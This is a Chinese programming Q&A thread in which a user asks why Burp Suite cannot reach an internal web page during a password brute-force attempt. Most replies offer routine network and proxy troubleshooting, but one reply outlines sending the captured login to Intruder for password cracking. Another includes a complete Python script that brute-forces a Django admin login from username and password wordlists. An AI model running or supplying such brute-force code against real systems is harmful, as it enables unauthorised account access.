续梦﹊ 2023-09-26 13:31 采纳率: 0%
浏览 17
已结题

burpsuite密码爆破

关于burpsuite为什么访问不了网页
v15085940613 急

img

  • 写回答

18条回答 默认 最新

  • 这一次有糖 2023-10-03 11:35
    关注
    获得0.60元问题酬金

    这是你们内网地址吧,让管理员看看后台ping的访问流量走向,如果他们是挂载在某台服务器上,服务器有问题网页也会停止访问的

    评论
  • qq_37749055 2023-09-26 13:34
    关注
    获得0.30元问题酬金

    服务停了

    评论
  • 专家-赤兔[在线] 2023-09-26 13:41
    关注
    获得0.30元问题酬金

    引自免费微信小程序-皆我百晓生,希望对题主有所帮助,如有帮助,还望采纳。


    根据提供的信息,这个问题可能是由以下几个原因引起的:

    1. 安全证书问题:可能存在与该IP地址关联的网站使用了无效或过期的安全证书。浏览器无法验证该网站的身份,因此会出现安全连接失败的错误。

    2. 代理设置问题:如果你使用了代理服务器进行网络连接,可能代理服务器的设置有问题,导致无法建立安全连接。

    3. 防火墙或网络限制:你所连接的网络(可能是公司内部网络或学校网络)可能设置了防火墙或其他网络限制,阻止了与该IP地址建立安全连接。

    针对这些可能的原因,你可以尝试以下解决方法:

    1. 清除浏览器缓存和cookie:有时候浏览器缓存或存储的错误数据可能导致安全连接失败。清除缓存和cookie后再次尝试访问。

    2. 使用其他浏览器:尝试使用其他浏览器来打开该IP地址,例如Chrome、Firefox、Edge等,看是否能够建立安全连接。

    3. 检查日期和时间设置:确保你的计算机的日期和时间设置正确,因为过期的安全证书可能与系统时间不匹配。

    4. 暂时禁用防火墙或网络限制:如果你在公司或学校等网络中,在管理员的指导下尝试暂时禁用防火墙或调整网络限制,然后再尝试访问该IP地址。

    如果以上方法都没有解决问题,建议你联系网络管理员或该IP地址的所有者,向他们反馈该问题,因为可能存在特定的网络配置或安全设置导致无法访问。

    评论
  • 「已注销」 2023-09-26 13:49
    关注

    域名问题:域名解析不正常、过期、或者终止服务,都会导致找不到服务器。这个情况唯一的解决方案就是检查域名以及联系域名注册商确认原因。

    评论
  • a谷雨c 2023-09-26 14:12
    关注
    获得0.30元问题酬金

    应该是服务停了,可以官方问下,

    评论
  • 呆萌嘎嘎脆 2023-09-26 14:29
    关注

    排错:
    1、试一下不进行代理,服务页面是否可以正常打开
    2、下载个代理插件foxyproxy,配置代理ip和BP同样一致是127.0.0.1:80
    3、点击代理之后,在bp点击proxy-intercept is on 进行拦截之后,抓到包进行右键send to intruder,修改密码参数进行爆破

    评论
  • threenewbee 2023-09-26 15:35
    关注
    获得0.75元问题酬金

    10.100.100.1这个是什么地址?你自己的服务器?

    评论
  • pzzhao 2023-09-26 17:15
    关注
    获得0.45元问题酬金

    你这个是个局域网IP吧,看看你对应IP的服务是否正常,443端口是否开放

    评论
  • 数据大魔王 2023-09-26 19:08
    关注
    获得0.45元问题酬金

    有几种可能原因导致Burp Suite无法访问网页:

    1. 代理设置问题:确保在Burp Suite中正确配置了代理设置。打开Burp Suite,点击"Proxy"选项卡,然后点击"Options"。在"Proxy Listeners"下,确保"Running"选项卡已经被选中,并且代理监听器的端口号与浏览器中的代理设置一致。

    2. SSL证书问题:如果您尝试访问SSL加密的网页(HTTPS),则应该在浏览器中添加Burp Suite的SSL证书作为受信任的证书。在Burp Suite中,点击"Proxy"选项卡,然后点击"Options"。在"Proxy Listeners"下,找到您正在使用的代理监听器。点击"Export"按钮,然后将证书导出到您的计算机。最后,按照浏览器不同,将证书导入到浏览器的受信任证书列表中。

    3. 防火墙或其他网络限制:确保您的防火墙或其他网络限制没有阻止Burp Suite的访问。您可以暂时禁用防火墙或尝试在不同的网络环境中重新连接。

    4. 配置问题:检查Burp Suite的其他配置,例如Intercept功能是否启用。在Burp Suite中,点击"Proxy"选项卡,然后点击"Intercept"。确保Intercept功能已经启用。

    如果仍然无法解决问题,请提供更多详细信息,例如操作系统、浏览器版本和Burp Suite的版本,以便更好地帮助您解决问题。

    评论
  • 心梓知识 2023-09-26 23:14
    关注
    获得0.30元问题酬金

    结合GPT给出回答如下请题主参考
    关于BurpSuite无法访问网页的问题,常见的原因可能是网络设置问题、代理设置问题或者BurpSuite与浏览器的兼容性问题等。可以尝试以下几个步骤来解决问题:

    1.检查网络设置是否正确,例如网络连接是否正常,是否存在防火墙等问题。

    2.检查代理设置是否正确,例如代理是否已经开启,代理设置是否正确等。

    3.检查BurpSuite与浏览器的兼容性问题,例如浏览器版本是否支持BurpSuite插件等。

    以下是BurpSuite密码爆破的代码案例:

    import requests
    import urllib3
    import re
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    def login(url, username, password):
        session = requests.Session()
    
        # 1. 获取登录页面
        resp = session.get(url, verify=False)
    
        # 2. 提取登录页面中的参数,构造登录请求
        csrf_token = re.findall(r'name="csrfmiddlewaretoken" value="(.*?)">', resp.text)[0]
        login_data = {
            'csrfmiddlewaretoken': csrf_token,
            'username': username,
            'password': password,
            'next': '/admin/'
        }
    
        # 3. 发送登录请求
        resp = session.post(url, data=login_data, verify=False)
    
        # 4. 根据响应判断是否登录成功
        if 'Log in | Django site admin' in resp.text:
            return False
        else:
            print('登录成功:', username, password)
            return True
    
    if __name__ == '__main__':
        url = 'http://example.com/admin/login/'
    
        # 读取用户名和密码字典文件
        with open('usernames.txt') as f1:
            usernames = [line.strip() for line in f1.readlines()]
        with open('passwords.txt') as f2:
            passwords = [line.strip() for line in f2.readlines()]
    
        # 进行密码爆破
        for username in usernames:
            for password in passwords:
                if login(url, username, password):
                    exit(0)
    

    以上代码实现了基于requests库的简单密码爆破,首先获取了登录页面,提取了登录参数构造登录请求,然后根据响应来判断是否登录成功,成功则输出用户名和密码。密码字典可以通过文件读取的方式获取,用户名字典也可以通过简单的修改实现。

    评论
  • coder_small_bell 2023-09-27 09:31
    关注
    获得0.30元问题酬金

    代理没起来

    评论
  • Leodong. 2023-09-27 10:22
    关注
    获得0.30元问题酬金

    该回答通过自己思路及引用到GPTᴼᴾᴱᴺᴬᴵ搜索,得到内容具体如下:
    这个问题可能是由于多种原因导致的,以下是一些建议供您参考:

    1. 检查目标网站是否需要登录才能访问。如果需要,请尝试使用Burp Suite的代理功能,将请求伪装成已登录的状态。
    2. 检查目标网站的防火墙设置,确保您的请求没有被拦截。
    3. 检查目标网站的SSL证书是否正确配置。如果证书有问题,可能导致连接失败。
    4. 检查网络连接是否正常,尝试访问其他网站看看是否有问题。
    5. 如果以上方法都无法解决问题,可以尝试使用其他抓包工具(如Wireshark)进行调试,以确定问题所在。

    如果以上回答对您有所帮助,点击一下采纳该答案~谢谢

    评论
  • yy64ll826 2023-09-27 16:19
    关注
    获得0.30元问题酬金

    打不开网页主要有四方面因素:
    1.域名,解析不正常,过期,或者终止服务,都会导致找不到服务器。这个情况唯一的解决方案就是检查域名以及联系域名注册商确认原因。
    服务器,空间,环境异常,或者停止了服务,网站自然打不开。
    2.这个可以通过重启服务IIS,关闭部分网站,暂停部分插件,等基础排查方式,以及更换服务器环境,等等方式排查。
    3.网络原因,如果网络不通,网站也是打不开的。建议采用Tracert(跟踪路由)的方式,查看访问途径的设备是否有异常的延时,采用代理访问的方式使用其他线路测试速度。
    4.客户端问题,浏览器不兼容,或者异常崩溃都会导致网页无法打开。更换浏览器测试即可。

    评论
  • Roc-xb 后端领域优质创作者 2023-09-28 13:53
    关注
    获得0.75元问题酬金

    你爆破的是一个内网地址,似乎是不正确的。

    评论
  • 爱编程的小D 2023-09-30 20:05
    关注
    获得0.15元问题酬金

    明显是服务停了,我也进不去
    或者咨询管理员,换个浏览器,禁用杀毒软件,重装系统

    评论
  • 会跑的小鹿 2023-10-03 21:02
    关注
    获得0.15元问题酬金

    服务被关停了

    评论
  • 关注
    获得0.30元问题酬金

    换一个浏览器试试,如果可以,请联系服务器管理人员反馈

    评论 编辑记录
  • GIS工具开发 2023-10-03 22:57
    关注
    获得0.30元问题酬金

    网页服务器关停了

    评论

报告相同问题?

问题事件

  • 系统已结题 10月4日
  • 创建了问题 9月26日

悬赏问题

  • ¥30 哈夫曼编码译码器打印树形项目
  • ¥20 求完整顺利登陆QQ邮箱的python代码
  • ¥15 怎么下载MySQL,怎么卸干净原来的MySQL
  • ¥15 网络打印机Ip地址自动获取出现问题
  • ¥15 求局部放电案例库,用于预测局部放电类型
  • ¥100 QT Open62541
  • ¥15 stata合并季度数据和日度数据
  • ¥15 谁能提供rabbitmq,erlang,socat压缩包,记住版本要对应
  • ¥15 Vue3 中使用 `vue-router` 只能跳转到主页面?
  • ¥15 用QT,进行QGIS二次开发,如何在添加栅格图层时,将黑白的矢量图渲染成彩色